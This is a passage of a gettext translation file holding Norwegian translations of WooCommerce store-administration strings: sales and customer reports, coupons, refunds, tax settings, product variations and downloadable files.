#: includes/admin/reports/class-wc-report-sales-by-date.php:525
msgid "%s orders placed"
msgstr "%s ordrer mottatt"
#: includes/admin/reports/class-wc-report-sales-by-date.php:510
msgid "This is the sum of the order totals after any refunds and excluding shipping and taxes."
msgstr "Dette er summen av ordre totaler etter eventuelle refusjoner og eksklusive frakt og avgifter."
#. translators: %s: net sales
#: includes/admin/reports/class-wc-report-sales-by-date.php:507
msgid "%s net sales in this period"
msgstr "%s nettosalg denne perioden"
#: includes/admin/reports/class-wc-report-sales-by-date.php:492
msgid "This is the sum of the order totals after any refunds and including shipping and taxes."
msgstr "Dette er summen av ordretotaler etter tilbakebetalinger og inkluderer frakt og avgifter."
#. translators: %s: total sales
#: includes/admin/reports/class-wc-report-sales-by-date.php:489
msgid "%s gross sales in this period"
msgstr "%s bruttosalg denne perioden"
#. translators: %s: average sales
#: includes/admin/reports/class-wc-report-sales-by-date.php:480
msgid "%s average net monthly sales"
msgstr "%s gjennomsnittlig månedlig salg"
#. translators: %s: average sales
#: includes/admin/reports/class-wc-report-sales-by-date.php:467
msgid "%s average net daily sales"
msgstr "%s gjennomsnittlig daglig salg"
#: includes/admin/helper/class-wc-helper.php:468
#: includes/admin/reports/class-wc-report-sales-by-category.php:230
#: includes/widgets/class-wc-widget-brand-thumbnails.php:210
#: src/Internal/Admin/Orders/ListTable.php:664
#: src/Internal/Admin/Orders/ListTable.php:1818
#: src/Internal/Features/FeaturesController.php:1836
#: assets/client/admin/chunks/2304.js:1
#: assets/client/admin/components/index.js:2
#: assets/client/admin/email-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
#: assets/client/blocks/active-filters-frontend.js:5
#: assets/client/blocks/active-filters-wrapper-frontend.js:5
#: assets/client/blocks/active-filters.js:5
#: assets/client/blocks/attribute-filter.js:19
#: assets/client/blocks/product-filter-attribute.js:1
msgid "All"
msgstr "Alle"
#: includes/admin/reports/class-wc-report-sales-by-category.php:229
#: includes/widgets/class-wc-widget-brand-thumbnails.php:215
#: src/Internal/Admin/Logging/Settings.php:266
#: assets/client/admin/chunks/2304.js:1
#: assets/client/blocks/featured-category.js:1
#: assets/client/blocks/featured-product.js:1
msgid "None"
msgstr "Ingen"
#: includes/admin/reports/class-wc-report-sales-by-category.php:214
msgid "Select categories…"
msgstr "Velg kategorier…"
#: includes/admin/reports/class-wc-report-out-of-stock.php:23
msgid "No out of stock products found."
msgstr "Ingen utsolgte produkter funnet."
#: includes/admin/reports/class-wc-report-low-in-stock.php:23
msgid "No low in stock products found."
msgstr "Ingen produkter med lite på lager er funnet."
#: includes/admin/reports/class-wc-report-customers.php:351
msgid "new users"
msgstr "nye brukere"
#: includes/admin/reports/class-wc-report-customers.php:344
msgid "Signups"
msgstr "Registreringer"
#: includes/admin/reports/class-wc-report-customers.php:340
msgid "guest orders"
msgstr "gjesteordrer"
#: includes/admin/reports/class-wc-report-customers.php:330
msgid "customer orders"
msgstr "kundeordrer"
#: includes/admin/reports/class-wc-report-customers.php:150
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/admin/chunks/analytics-report-variations.js:1
msgid "orders"
msgid_plural "orders"
msgstr[0] "ordre"
msgstr[1] "ordre"
#: includes/admin/reports/class-wc-report-customers.php:131
#: includes/admin/reports/class-wc-report-customers.php:334
msgid "Guest orders"
msgstr "Gjesteordrer"
#: includes/admin/reports/class-wc-report-customers.php:126
#: includes/admin/reports/class-wc-report-customers.php:324
msgid "Customer orders"
msgstr "Kundeordrer"
#: includes/admin/reports/class-wc-report-customers.php:117
msgid "Guest sales"
msgstr "Gjestesalg"
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:208
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:104
msgid "Customer role."
msgstr "Kunderolle."
#. translators: %s: signups amount
#: includes/admin/reports/class-wc-report-customers.php:44
msgid "%s signups in this period"
msgstr "%s registreringer i denne perioden"
#: includes/admin/reports/class-wc-report-customer-list.php:221
msgid "Last order"
msgstr "Siste ordre"
#: includes/admin/reports/class-wc-report-customer-list.php:220
msgid "Money spent"
msgstr "Penger brukt"
#: includes/admin/reports/class-wc-report-customer-list.php:218
#: src/Internal/Admin/Logging/Settings.php:342
#: src/Internal/Admin/Logging/Settings.php:376
msgid "Location"
msgstr "Sted"
#: includes/admin/reports/class-wc-report-customer-list.php:216
#: includes/class-wc-checkout.php:276
#: src/Admin/API/Reports/Customers/Controller.php:542
#: templates/myaccount/form-login.php:79
#: assets/client/admin/chunks/analytics-report-customers.js:1
#: assets/client/admin/chunks/analytics-report-downloads.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "Username"
msgstr "Brukernavn"
#: includes/admin/reports/class-wc-report-customer-list.php:215
msgid "Name (Last, First)"
msgstr "Navn (Etternavn, Fornavn)"
#: includes/admin/reports/class-wc-report-customer-list.php:184
msgid "Link previous orders"
msgstr "Lenke til tidligere ordrer"
#: includes/admin/reports/class-wc-report-customer-list.php:169
msgid "View orders"
msgstr "Vis ordrer"
#: includes/admin/reports/class-wc-report-customer-list.php:157
msgid "Refresh stats"
msgstr "Oppdater statistikk"
#: includes/admin/reports/class-wc-report-customer-list.php:140
#: includes/admin/reports/class-wc-report-downloads.php:100
#: includes/admin/reports/class-wc-report-downloads.php:180
#: templates/myaccount/my-orders.php:63 templates/myaccount/orders.php:57
msgctxt "hash before order number"
msgid "#"
msgstr "Nr."
#: includes/admin/reports/class-wc-report-customer-list.php:72
msgid "Search customers"
msgstr "Søk kunder"
#. translators: User display name
#: includes/admin/reports/class-wc-report-customer-list.php:67
msgid "Refreshed stats for %s"
msgstr "Oppdaterte statistikk for %s"
#. translators: single or plural number of orders
#: includes/admin/reports/class-wc-report-customer-list.php:56
msgid "%s previous order linked"
msgid_plural "%s previous orders linked"
msgstr[0] "%s forrige ordre lenket"
msgstr[1] "%s tidligere ordrer lenket"
#: includes/admin/reports/class-wc-report-customer-list.php:42
msgid "No customers found."
msgstr "Ingen kunder funnet."
#: includes/admin/settings/class-wc-settings-emails.php:455
#: src/Admin/API/Reports/Orders/Controller.php:466
#: src/Internal/EmailEditor/PersonalizationTags/CustomerTagsProvider.php:28
#: src/Internal/EmailEditor/PersonalizationTags/CustomerTagsProvider.php:45
#: src/Internal/EmailEditor/PersonalizationTags/CustomerTagsProvider.php:64
#: src/Internal/EmailEditor/PersonalizationTags/CustomerTagsProvider.php:83
#: src/Internal/EmailEditor/PersonalizationTags/CustomerTagsProvider.php:104
#: src/Internal/EmailEditor/PersonalizationTags/CustomerTagsProvider.php:121
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-create.php:76
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:119
#: assets/client/admin/chunks/analytics-report-orders.js:1
msgid "Customer"
msgstr "Kunde"
#: includes/admin/reports/class-wc-report-coupon-usage.php:484
msgid "Discount amount"
msgstr "Rabattert beløp"
#: includes/admin/reports/class-wc-report-coupon-usage.php:476
msgid "Number of coupons used"
msgstr "Antall rabattkoder som er brukt"
#: includes/admin/reports/class-wc-report-coupon-usage.php:369
#: includes/admin/reports/class-wc-report-customers.php:233
#: includes/admin/reports/class-wc-report-sales-by-category.php:275
#: includes/admin/reports/class-wc-report-sales-by-date.php:624
#: includes/admin/reports/class-wc-report-sales-by-product.php:416
#: includes/admin/reports/class-wc-report-taxes-by-code.php:44
#: includes/admin/reports/class-wc-report-taxes-by-date.php:41
#: includes/admin/settings/views/html-settings-tax.php:48
msgid "Export CSV"
msgstr "Eksporter CSV"
#: includes/admin/reports/class-wc-report-coupon-usage.php:279
msgid "Most discount"
msgstr "Mest Rabattert"
#: includes/admin/reports/class-wc-report-coupon-usage.php:274
#: includes/admin/reports/class-wc-report-coupon-usage.php:325
msgid "No coupons found in range"
msgstr "Ingen rabattkoder funnet i utvalg"
#: includes/admin/reports/class-wc-report-coupon-usage.php:230
msgid "Most popular"
msgstr "Mest populær"
#: includes/admin/reports/class-wc-report-coupon-usage.php:225
msgid "No used coupons found"
msgstr "Ingen brukte rabattkoder funnet"
#: includes/admin/reports/class-wc-report-coupon-usage.php:216
#: includes/admin/reports/class-wc-report-sales-by-category.php:231
#: includes/admin/reports/class-wc-report-sales-by-product.php:224
#: includes/widgets/class-wc-widget-products.php:43
#: assets/client/admin/chunks/2304.js:1
#: assets/client/admin/chunks/analytics-report-categories.js:1
#: assets/client/admin/chunks/analytics-report-coupons.js:1
#: assets/client/admin/chunks/analytics-report-customers.js:1
#: assets/client/admin/chunks/analytics-report-downloads.js:1
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/admin/chunks/analytics-report-revenue.js:1
#: assets/client/admin/chunks/analytics-report-stock.js:1
#: assets/client/admin/chunks/analytics-report-taxes.js:1
#: assets/client/admin/chunks/analytics-report-variations.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "Show"
msgstr "Vis"
#: includes/admin/reports/class-wc-report-coupon-usage.php:208
#: assets/client/admin/chunks/analytics-report-coupons.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "All coupons"
msgstr "Alle rabattkoder"
#: includes/admin/reports/class-wc-report-coupon-usage.php:207
msgid "Choose coupons…"
msgstr "Velg rabattkoder …"
#: includes/admin/reports/class-wc-report-coupon-usage.php:177
msgid "Filter by coupon"
msgstr "Filtrer på rabattkode"
#: includes/admin/reports/class-wc-report-coupon-usage.php:136
#: includes/admin/reports/class-wc-report-customers.php:173
#: includes/admin/reports/class-wc-report-sales-by-category.php:120
#: includes/admin/reports/class-wc-report-sales-by-date.php:582
#: includes/admin/reports/class-wc-report-sales-by-product.php:147
msgid "Last 7 days"
msgstr "Siste 7 dager"
#: includes/admin/reports/class-wc-report-coupon-usage.php:135
#: includes/admin/reports/class-wc-report-customers.php:172
#: includes/admin/reports/class-wc-report-sales-by-category.php:119
#: includes/admin/reports/class-wc-report-sales-by-date.php:581
#: includes/admin/reports/class-wc-report-sales-by-product.php:146
#: includes/admin/reports/class-wc-report-taxes-by-code.php:57
#: includes/admin/reports/class-wc-report-taxes-by-date.php:54
msgid "This month"
msgstr "Denne måneden"
#: includes/admin/reports/class-wc-report-coupon-usage.php:134
#: includes/admin/reports/class-wc-report-customers.php:171
#: includes/admin/reports/class-wc-report-sales-by-category.php:118
#: includes/admin/reports/class-wc-report-sales-by-date.php:580
#: includes/admin/reports/class-wc-report-sales-by-product.php:145
#: includes/admin/reports/class-wc-report-taxes-by-code.php:56
#: includes/admin/reports/class-wc-report-taxes-by-date.php:53
#: assets/client/admin/date/index.js:1
msgid "Last month"
msgstr "Forrige måned"
#: includes/admin/reports/class-wc-report-coupon-usage.php:133
#: includes/admin/reports/class-wc-report-customers.php:170
#: includes/admin/reports/class-wc-report-sales-by-category.php:117
#: includes/admin/reports/class-wc-report-sales-by-date.php:579
#: includes/admin/reports/class-wc-report-sales-by-product.php:144
#: includes/admin/reports/class-wc-report-taxes-by-code.php:55
#: includes/admin/reports/class-wc-report-taxes-by-date.php:52
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
msgid "Year"
msgstr "År"
#. translators: %s: coupons amount
#: includes/admin/reports/class-wc-report-coupon-usage.php:119
msgid "%s coupons used in total"
msgstr "%s rabattkoder er brukt totalt"
#. translators: %s: discount amount
#: includes/admin/reports/class-wc-report-coupon-usage.php:112
msgid "%s discounts in total"
msgstr "%s totale rabatter"
#. translators: 1: total items sold 2: days
#: includes/admin/class-wc-admin-dashboard.php:637
#: includes/admin/reports/class-wc-admin-report.php:642
msgid "Sold %1$d item in the last %2$d days"
msgid_plural "Sold %1$d items in the last %2$d days"
msgstr[0] "Solgt %1$d produkt de siste %2$d dagene"
msgstr[1] "Solgt %1$d produkter de siste %2$d dagene"
#. translators: 1: total income 2: days
#: includes/admin/class-wc-admin-dashboard.php:634
#: includes/admin/reports/class-wc-admin-report.php:639
msgid "Sold %1$s worth in the last %2$d days"
msgstr "Solgt verdier for %1$s de siste %2$d dagene"
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:732
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:553
msgid "Variation description."
msgstr "Variantbeskrivelse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1947
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2406
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:693
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:859
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1923
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:688
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1388
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1394
msgid "Tax class."
msgstr "Avgiftsklasse."
#: includes/admin/meta-boxes/views/html-variation-admin.php:401
#: includes/admin/meta-boxes/views/html-variation-admin.php:418
msgid "Same as parent"
msgstr "Samme som forelder"
#: includes/admin/settings/views/html-admin-page-shipping-classes.php:15
#: includes/class-wc-post-types.php:186
msgid "Shipping classes"
msgstr "Fraktklasser"
#. translators: %s dimension unit
#: includes/admin/meta-boxes/views/html-variation-admin.php:365
msgid "Dimensions (L×W×H) (%s)"
msgstr "Dimensjoner (L×B×H) (%s)"
#: includes/admin/meta-boxes/views/html-variation-admin.php:187
msgid "Sale end date"
msgstr "Sluttdato for utsalg"
#: includes/admin/meta-boxes/views/html-variation-admin.php:183
msgid "Sale start date"
msgstr "Startdato for utsalg"
#: includes/admin/meta-boxes/views/html-variation-admin.php:169
msgid "Cancel schedule"
msgstr "Avbryt planlegging"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:640
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:804
#: includes/admin/meta-boxes/views/html-product-data-general.php:66
#: includes/admin/views/html-quick-edit-product.php:45
#: includes/export/class-wc-product-csv-exporter.php:158
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:181
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:267
#: assets/client/admin/product-editor/index.js:2
msgid "Sale price"
msgstr "Tilbudspris"
#: includes/admin/meta-boxes/views/html-variation-admin.php:153
msgid "Variation price (required)"
msgstr "Variantpris (påkrevd)"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:641
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:803
#: includes/admin/meta-boxes/views/html-product-data-general.php:56
#: includes/admin/views/html-quick-edit-product.php:38
#: includes/export/class-wc-product-csv-exporter.php:159
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:154
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:233
#: assets/client/admin/product-editor/index.js:2
msgid "Regular price"
msgstr "Ordinær pris"
#: includes/admin/meta-boxes/views/html-variation-admin.php:126
msgid "Enable this option to enable stock management at variation level"
msgstr "Slå på dette valget for å slå på lagerstyring på variantnivå"
#: includes/admin/meta-boxes/views/html-variation-admin.php:120
msgid "Enable this option if a product is not shipped or there is no shipping cost"
msgstr "Slå på dette valget hvis et produkt ikke er sendt eller hvis det ikke er noen fraktkostnader"
#: includes/admin/meta-boxes/views/html-variation-admin.php:116
msgid "Enable this option if access is given to a downloadable file upon purchase of a product"
msgstr "Slå på dette valget hvis tilgang er gitt til en nedlastbar fil ved kjøp av et produkt"
#: includes/admin/meta-boxes/views/html-variation-admin.php:113
#: includes/admin/settings/class-wc-settings-emails.php:488
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:80
#: includes/admin/views/html-admin-page-status-report.php:806
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:202
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
#: assets/client/blocks/wc-shipping-method-pickup-location.js:238
msgid "Enabled"
msgstr "Aktivt"
#: includes/admin/meta-boxes/views/html-variation-admin.php:75
msgid "Upload an image"
msgstr "Last opp et bilde"
#: includes/admin/meta-boxes/views/html-variation-admin.php:75
msgid "Remove this image"
msgstr "Fjern bilde"
#: includes/admin/meta-boxes/views/html-product-download.php:28
#: includes/admin/meta-boxes/views/html-product-variation-download.php:28
msgid "Insert file URL"
msgstr "Fyll inn filens nettadresse"
#: includes/admin/meta-boxes/views/html-product-download.php:28
#: includes/admin/meta-boxes/views/html-product-variation-download.php:28
msgid "Choose file"
msgstr "Velg fil"
#: includes/admin/meta-boxes/views/html-product-download.php:23
#: includes/admin/meta-boxes/views/html-product-variation-download.php:23
msgid "http://"
msgstr "http://"
#: includes/admin/meta-boxes/views/html-product-download.php:19
#: includes/admin/meta-boxes/views/html-product-variation-download.php:19
#: src/Admin/API/Reports/Downloads/Controller.php:323
#: assets/client/admin/chunks/analytics-report-downloads.js:1
msgid "File name"
msgstr "Filnavn"
#: includes/admin/meta-boxes/views/html-product-data-attributes.php:35
#: assets/client/admin/product-editor/blocks/product-fields/downloads/downloads-menu/downloads-menu.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Add new"
msgstr "Legg til ny"
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:68
#: assets/client/admin/chunks/shipping-recommendations.js:1
msgid "Shipping methods"
msgstr "Fraktmåter"
#: includes/admin/meta-boxes/views/html-order-shipping.php:26
msgid "Shipping name"
msgstr "Fraktnavn"
#: includes/admin/meta-boxes/views/html-order-items.php:502
#: includes/customizer/class-wc-shop-customizer.php:766
#: includes/gateways/paypal/includes/settings-paypal.php:118
#: includes/gateways/paypal/includes/settings-paypal.php:160
#: includes/gateways/paypal/includes/settings-paypal.php:169
#: includes/gateways/paypal/includes/settings-paypal.php:178
#: includes/gateways/paypal/includes/settings-paypal.php:187
#: includes/gateways/paypal/includes/settings-paypal.php:196
#: includes/gateways/paypal/includes/settings-paypal.php:205
#: assets/client/blocks/checkout.js:2
msgid "Optional"
msgstr "Valgfritt"
#: includes/admin/meta-boxes/views/html-order-items.php:501
msgid "Or, enter tax rate ID:"
msgstr "Eller fyll inn avgiftssats-id:"
#: includes/admin/meta-boxes/views/html-order-items.php:481
#: includes/admin/settings/class-wc-settings-tax.php:252
msgid "Rate %"
msgstr "Sats %"
#: includes/admin/meta-boxes/views/html-order-items.php:480
msgid "Rate code"
msgstr "Ratekode"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:624
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:810
#: includes/admin/meta-boxes/views/html-order-items.php:479
#: includes/admin/meta-boxes/views/html-product-data-general.php:241
#: includes/admin/meta-boxes/views/html-variation-admin.php:417
#: includes/admin/settings/class-wc-settings-tax.php:257
#: includes/admin/views/html-bulk-edit-product.php:121
#: includes/admin/views/html-quick-edit-product.php:83
#: includes/export/class-wc-product-csv-exporter.php:142
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:200
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:331
msgid "Tax class"
msgstr "Avgiftsklasse"
#: includes/admin/meta-boxes/views/html-order-items.php:478
msgid "Rate name"
msgstr "Ratenavn"
#: includes/admin/meta-boxes/views/html-order-items.php:340
#: includes/admin/meta-boxes/views/html-order-items.php:467
msgid "Add tax"
msgstr "Legg til avgift"
#: includes/admin/meta-boxes/views/html-order-items.php:424
#: assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/product-editor/blocks/product-fields/product-list/edit.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Add products"
msgstr "Legg til produkter"
#. translators: refund amount
#: includes/admin/meta-boxes/views/html-order-items.php:411
msgid "You will need to manually issue a refund through your payment gateway after using this."
msgstr "Du må utstede en tilbakebetaling manuelt gjennom betalingsløsningen etter bruk av dette."
#: includes/admin/meta-boxes/views/html-order-items.php:403
msgid "Payment gateway"
msgstr "Betalingsløsning"
#: includes/admin/meta-boxes/views/html-order-items.php:390
msgid "Reason for refund (optional):"
msgstr "Årsak for refusjon (valgfritt):"
#: includes/admin/meta-boxes/views/html-order-items.php:370
#: includes/admin/reports/class-wc-report-sales-by-date.php:783
msgid "Refund amount"
msgstr "Beløp for tilbakebetaling"
#: includes/admin/meta-boxes/views/html-order-items.php:363
msgid "Total available to refund"
msgstr "Total tilgjengelig for tilbakebetaling"
#: includes/admin/meta-boxes/views/html-order-items.php:359
msgid "Amount already refunded"
msgstr "Beløpet er allerede tilbakebetalt"
#: includes/admin/meta-boxes/views/html-order-items.php:354
msgid "Restock refunded items"
msgstr "Legg refunderte produkter tilbake på lager"
#. translators: Save as in "Save $x".
#: includes/admin/meta-boxes/views/html-order-items.php:347
#: includes/admin/settings/views/html-admin-page-shipping-classes.php:114
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:164
#: src/Blocks/BlockTypes/MiniCartProductsTableBlock.php:62
#: templates/myaccount/form-reset-password.php:45
#: assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/chunks/settings-payments-bacs.js:1
#: assets/client/admin/email-editor/index.js:2
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/settings-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/beta-features-tracking-modal.js:2
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
msgid "Save"
msgstr "Lagre"
#: includes/admin/meta-boxes/views/html-order-items.php:337
msgid "Add fee"
msgstr "Legg til gebyr"
#: includes/admin/meta-boxes/views/html-order-items.php:336
msgid "Add product(s)"
msgstr "Legg til produkt(er)"
#: includes/admin/meta-boxes/views/html-order-items.php:324
#: includes/class-wc-order.php:2461 assets/client/admin/chunks/2304.js:1
msgid "Refund"
msgstr "Tilbakebetaling"
#: includes/admin/meta-boxes/views/html-order-items.php:321
msgid "To edit this order change the status back to \"Pending payment\""
msgstr "For å redigere denne ordren, endre status tilbake til \"Venter på betaling\""
#: includes/admin/meta-boxes/views/html-order-items.php:273
msgid "Refunded"
msgstr "Refundert"
#: includes/admin/meta-boxes/views/html-order-items.php:228
#: includes/class-wc-privacy-exporters.php:253
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:156
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:388
msgid "Order Total"
msgstr "Ordretotal"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:262
#: includes/admin/meta-boxes/views/html-order-items.php:56
#: includes/admin/meta-boxes/views/html-order-items.php:57
#: includes/admin/reports/class-wc-report-taxes-by-code.php:198
#: includes/admin/settings/class-wc-settings-tax.php:27
#: includes/class-wc-countries.php:519 includes/class-wc-order-item-tax.php:170
#: includes/class-wc-tax.php:993
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsTax.php:64
#: assets/client/admin/chunks/homescreen.js:1
msgid "Tax"
msgstr "Avgift"
#: includes/admin/meta-boxes/views/html-order-items.php:50
#: templates/checkout/form-pay.php:28
msgid "Qty"
msgstr "Antall"
#: includes/admin/class-wc-admin-setup-wizard.php:866
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:154
#: includes/admin/meta-boxes/views/html-order-items.php:47
#: includes/admin/views/html-bulk-edit-product.php:76
#: includes/admin/views/html-quick-edit-product.php:54
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:35
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:65
#: includes/shipping/local-pickup/class-wc-shipping-local-pickup.php:120
#: assets/client/admin/chunks/multichannel-marketing.js:1
#: assets/client/blocks/wc-shipping-method-pickup-location.js:83
msgid "Cost"
msgstr "Kostnad"
#. translators: %s: Item name.
#: includes/admin/meta-boxes/views/html-order-items.php:44
#: includes/class-wc-form-handler.php:662
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-request.php:1238
#: assets/client/admin/components/index.js:2
msgid "Item"
msgstr "Produkt"
#: includes/admin/meta-boxes/views/html-order-item.php:159
msgid "After pre-tax discounts."
msgstr "Etter før avgift-rabatter."
#: includes/admin/meta-boxes/views/html-order-item-meta.php:72
msgid "Add meta"
msgstr "Legg til meta"
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:386
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1289
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:573
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1615
#: src/Admin/API/Reports/Products/Controller.php:218
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:225
msgid "Product SKU."
msgstr "Produktnr."
#: includes/admin/meta-boxes/views/html-order-item.php:45
msgid "Variation ID:"
msgstr "Variant-ID:"
#: includes/cli/class-wc-cli-runner.php:110
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:392
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1295
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-top-sellers-v1-controller.php:158
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:467
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1511
#: src/Admin/API/Reports/Downloads/Controller.php:147
#: src/Admin/API/Reports/Products/Controller.php:139
#: src/Admin/API/Reports/Variations/Controller.php:160
#: src/Admin/API/Reports/Variations/Controller.php:166
msgid "Product ID."
msgstr "Produkt-ID."
#: includes/admin/meta-boxes/views/html-order-fee.php:21
#: src/StoreApi/Schemas/V1/OrderFeeSchema.php:36
msgid "Fee name"
msgstr "Navn på gebyr"
#: includes/admin/meta-boxes/views/html-order-download-permission.php:32
#: includes/class-wc-privacy-exporters.php:375
msgid "Access expires"
msgstr "Tilgang utløper"
#: includes/admin/meta-boxes/views/html-order-download-permission.php:27
#: includes/class-wc-privacy-exporters.php:363
#: includes/wc-account-functions.php:242
#: assets/client/blocks/order-confirmation-downloads.js:1
msgid "Downloads remaining"
msgstr "Gjenstående nedlastinger"
#: includes/admin/meta-boxes/views/html-order-download-permission.php:19
msgid "Downloaded %s time"
msgid_plural "Downloaded %s times"
msgstr[0] "Lasted ned %s gang"
msgstr[1] "Lasted ned %s ganger"
#: includes/admin/meta-boxes/views/html-order-download-permission.php:8
msgid "Revoke access"
msgstr "Tilbakekall tilgang"
#: includes/admin/meta-boxes/class-wc-meta-box-product-images.php:83
msgid "Add product gallery images"
msgstr "Legg til bilder i produktgalleriet"
#: includes/admin/meta-boxes/class-wc-meta-box-product-images.php:83
msgid "Add to gallery"
msgstr "Legg til i galleri"
#: includes/admin/meta-boxes/class-wc-meta-box-product-images.php:83
msgid "Add images to product gallery"
msgstr "Legg til bilder i produktgalleriet"
#: includes/admin/meta-boxes/class-wc-meta-box-product-images.php:58
#: includes/admin/meta-boxes/class-wc-meta-box-product-images.php:83
msgid "Delete image"
msgstr "Slett bilde"
#. translators: 1: variation id 2: product name
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1379
msgid "Variation #%1$s of %2$s"
msgstr "Variant nr. %1$s av %2$s"
#. translators: 1: Downloadable file, 2: List of allowed filetypes.
#: includes/class-wc-product-download.php:124
msgid "The downloadable file %1$s cannot be used as it does not have an allowed file type. Allowed types include: %2$s"
msgstr "Den nedlastbare filen %1$s kan ikke brukes da den ikke har en tillatt filtype. Tillatte typer inkluderer: %2$s"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:146
#: includes/admin/meta-boxes/views/html-product-data-variations.php:196
msgid "Go to the last page"
msgstr "Gå til den siste siden"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:145
#: includes/admin/meta-boxes/views/html-product-data-variations.php:195
msgid "Go to the next page"
msgstr "Gå til neste side"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:143
#: includes/admin/meta-boxes/views/html-product-data-variations.php:193
msgctxt "number of pages"
msgid "of"
msgstr "av"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:136
#: includes/admin/meta-boxes/views/html-product-data-variations.php:186
#: includes/admin/settings/views/html-settings-tax.php:136
#: assets/client/admin/chunks/1087.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
msgid "Current page"
msgstr "Nåværende side"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:135
#: includes/admin/meta-boxes/views/html-product-data-variations.php:185
msgid "Select Page"
msgstr "Velg side"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:133
#: includes/admin/meta-boxes/views/html-product-data-variations.php:183
msgid "Go to the previous page"
msgstr "Gå til forrige side"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:132
#: includes/admin/meta-boxes/views/html-product-data-variations.php:182
msgid "Go to the first page"
msgstr "Gå til første side"
#. translators: variations count
#: includes/admin/meta-boxes/views/html-product-data-variations.php:127
#: includes/admin/meta-boxes/views/html-product-data-variations.php:177
msgid "%s item"
msgid_plural "%s items"
msgstr[0] "%s produkt"
msgstr[1] "%s produkter"
#: includes/admin/views/html-report-by-date.php:58
msgid "Go"
msgstr "Gå"
#: includes/admin/meta-boxes/views/html-product-data-general.php:204
#: includes/admin/meta-boxes/views/html-product-data-variations.php:118
#: includes/admin/meta-boxes/views/html-variation-admin.php:538
msgid "Download expiry"
msgstr "Nedlasting utløper"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:646
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:851
#: includes/admin/meta-boxes/views/html-product-data-general.php:189
#: includes/admin/meta-boxes/views/html-product-data-variations.php:117
#: includes/admin/meta-boxes/views/html-variation-admin.php:520
#: includes/export/class-wc-product-csv-exporter.php:164
